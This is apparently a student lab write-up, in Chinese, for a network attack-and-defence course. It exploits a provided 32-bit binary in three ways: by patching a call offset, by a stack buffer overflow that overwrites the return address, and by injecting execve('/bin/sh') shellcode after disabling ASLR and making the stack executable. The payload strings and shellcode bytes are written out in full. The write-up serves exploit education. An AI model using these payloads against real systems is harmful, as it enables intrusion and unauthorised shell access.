20252821 2025-2026-2 《网络攻防实践》第9周作业
20252821 2025-2026-2 《网络攻防实践》第9周作业
1.实践内容
1.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 反汇编与机器码:需要知道目标指令的十六进制表示(如 jmp、call 的 opcode 和偏移量计算)
- 入口点(Entry Point):修改文件头中的入口地址,或直接改写原有指令为跳转
- 重定位与偏移:若跳转目标在不同节区,可能需要考虑位置无关或硬编码绝对地址
1.2 利用 foo 的缓冲区溢出,覆盖返回地址
- 栈布局与返回地址:函数调用时,返回地址存放在栈中;通过越界写入可以覆盖它
- 缓冲区溢出原理:未检查长度的输入(如 gets、strcpy)超出局部数组,篡改相邻栈数据
- 地址定位:确定溢出点与返回地址之间的偏移量,精准覆盖 EIP/RIP
1.3 注入自己制作的 Shellcode 并运行
- Shellcode 编写:用汇编实现功能(如 execve("/bin/sh")),提取机器码,避免 \x00 等终止符
- 指令集与系统调用:熟悉系统调用约定(如 x86 的 int 0x80,x64 的 syscall)和参数传递
- 代码注入点:将 shellcode 放入输入缓冲区、环境变量或堆上
- 跳转到 Shellcode:覆盖返回地址为 shellcode 所在地址(需绕过 ASLR 或泄漏地址)
- 绕过防护机制:需要应对栈不可执行(DEP — 可用 ROP 绕过)和地址随机化(ASLR — 需信息泄漏)
2.实践过程
2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
按照实验要求,先将命令行的名字改成自己的学号,输入指令hostnamectl set-hostname 20252821lmy

重启之后

将老师下发的 Linux 文件夹拷贝至 Kali 虚拟机中

进入目标文件所在的文件夹,把pwn20252821这个程序的汇编代码反汇编出来,分页显示
点击查看代码
cd ~/Desktop
objdump -d pwn20252821 | more

继续下拉查看更多信息,定位到 getshell、foo 及 main 函数。
main 函数会主动调用foo,对应的机器指令为 e8 d7ffffff,
但程序里没有任何地方主动调用getShell,若要调用 getShell,只需将偏移量修改为getShell - 80484ba对应的补码,计算得 804847d - 80484ba = c3ffffff


使用vim打开文件,发现是乱码

输入指令: %!xxd以十六进制形式查看

修改 call 指令的偏移量,让函数返回时不再回到 main,而是直接跳去 getShell 函数。

将机器指令中的 d7ffffff 修改为 c3ffffff

按Esc退出编辑,输入指令 :%!xxd -r 命令还原为原文件格式

输入指令:wq保存退出

输入指令objdump -d pwn20252821 | more把pwn20252821这个程序的汇编代码反汇编出来,发现确实已经修改


2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
重新拷贝一份文件到kali虚拟机中
输入指令objdump -d pwn20252821 | more反汇编

输入指令sudo apt install gdb -y安装gdb工具

输入指令gdb pwn20252821进入gdb模式

使用gdb工具调试程序。再输入r运行。当输入 1111111122222222333333334444444455555555 时可以看到eip的值为0x35353535

getShell地址为0x0804847d,系统采用小端存储模式,所以要输入11111111222222223333333344444444\x7d\x84\x04\x08,将要写入的字符串存到20252821lmy_attack文件中
输入指令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20252821lmy_attack

输入指令xxd 20252821lmy_attack

最后输入指令(cat 20252821lmy_attack; cat) | ./pwn20252821将20252821lmy_attack中的内容注入到pwn20252821中


2.3 注入一个自己制作的shellcode并运行这段shellcode
输入指令
点击查看代码
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb //安装工具execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb //解压


输入指令
点击查看代码
execstack -s pwn20252821 //设置pwn20252821程序堆栈可执行
execstack -q pwn20252821 //查询是否设置成功

输入指令
点击查看代码
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态,输出为0代表已关闭
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space //需要关闭地址随机化

输入指令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > attack_20252821
使用输出重定向将perl生成的字符串存储到attack_20252821文件中

点击查看代码
//终端1
(cat attack_20252821;cat) | ./pwn20252821
点击查看代码
//终端2
ps -ef | grep pwn20252821
文件payload完成初始注入(触发漏洞),终端stdin接管后续输入。再开一个终端2查看pwn20252821进程号为2746

再开一个终端对pwn20252821文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae
输入指令
点击查看代码
gdb pwn20252821
attach 2746
disassemble foo
break *0x080484ae

终端1按回车后,终端3输入c 继续运行

输入指令查看栈顶指针所在的位置为0xffffcf6c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4= 0xffffcf6c + 4 = 0xffffcf70,是0xffffcf70
点击查看代码
info r esp
x/16x 0xffffcf6c

退出gbd调试,重新构造 attack_20252821文件。并输入指令测试是否拿到shell
点击查看代码
perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > attack_20252821(cat attack_20252821;cat) | ./pwn20252821ls

3.学习中遇到的问题及解决
-
vim指令不熟悉
咨询ai得到了相关知识,并认真复习了几遍 -
修改完文件内容后,出现
objdump: pwn20252821: file format not recognized的bug
经过多次测试,发现是kali环境出现问题,重新进行了更新,sudo apt update && sudo apt install binutils
4 实践总结与体会
本次实验围绕Linux可执行文件pwn20252821展开,通过三种不同方法触发隐藏的getShell函数,让我对程序执行流程、栈溢出漏洞及Shellcode注入技术有了更深入的理解。
第一种方法是手工修改可执行文件。利用objdump反汇编定位foo函数中call指令的机器码(e8),将其修改为直接跳转的e9,并重新计算相对偏移量。这一过程使我掌握了常见条件转移指令(如JNE、JE、JMP、CMP)的十六进制表示形式,同时锻炼了使用十六进制编辑器直接操作二进制文件的能力。
第二种方法借助缓冲区溢出漏洞。通过分析栈帧布局,确定输入缓冲区与返回地址之间的偏移量,构造精确的攻击字符串覆盖返回地址,使程序跳转至getShell。该实践强化了我对函数调用栈中返回地址存储位置的理解,也认识到未进行边界检查(如gets函数)所带来的严重安全隐患。
第三种方法涉及自构建Shellcode的注入与执行。先编写execve("/bin/sh")的汇编实现,提取无空字节的机器码,随后利用溢出将Shellcode放置于栈中,配合NOP滑梯提高命中率,并将返回地址重定向至Shellcode入口。在反汇编纯二进制Shellcode文件时,曾遇到objdump: file format not recognized错误,通过指定-b binary及-m i386参数予以解决,这一过程提升了解决工具链问题的能力。
综上所述,本次实验将理论知识与实践操作紧密结合,加深了我对二进制安全底层机理的认知,为后续漏洞分析与利用研究奠定了扎实基础。
